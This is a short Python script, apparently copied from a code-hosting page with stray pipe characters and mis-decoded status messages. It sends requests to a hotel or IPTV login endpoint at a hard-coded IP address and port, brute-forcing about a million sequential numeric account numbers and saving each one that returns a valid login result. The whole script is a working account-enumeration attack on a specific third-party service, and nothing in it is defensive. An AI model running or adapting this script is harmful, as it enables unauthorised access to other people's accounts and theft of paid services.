|
import requests |
|
import json |
|
import time |
|
|
|
class tw_hotel(): |
|
def __init__(self): |
|
pass |
|
|
|
def scan(self,username,host,port): |
|
url = f'http://{host}:{port}/HSAndroidLogin.ecgi?ty=json&mac_address1=02:00:00:00:00:00&mac_address2=08:00:27:41:01:20&net_account={username}&opentype=0&app_ver=362&app_type=MqPlayer' |
|
resp = requests.get(url=url) |
|
if resp.text.startswith('{"Result"'): |
|
print(username + 'ๆๆๆๆๆๆๆๆๆๆ') |
|
with open(f'{username}.txt', 'w') as f: |
|
f.write(username) |
|
|
|
|
|
else: |
|
print(username + 'ๆ ๆ') |
|
print(resp.text) |
|
pass |
|
|
|
|
|
if __name__ == '__main__': |
|
a = tw_hotel() |
|
host = '59.125.210.231' |
|
port = '8014' |
|
|
|
for i in range(50000000000,50000999999): |
|
username = str(i) |
|
try: |
|
a.scan(username=username,host=host,port=port) |
|
except: |
|
print(username + '่ฎฟ้ฎๅบ้') |
|
|
|
|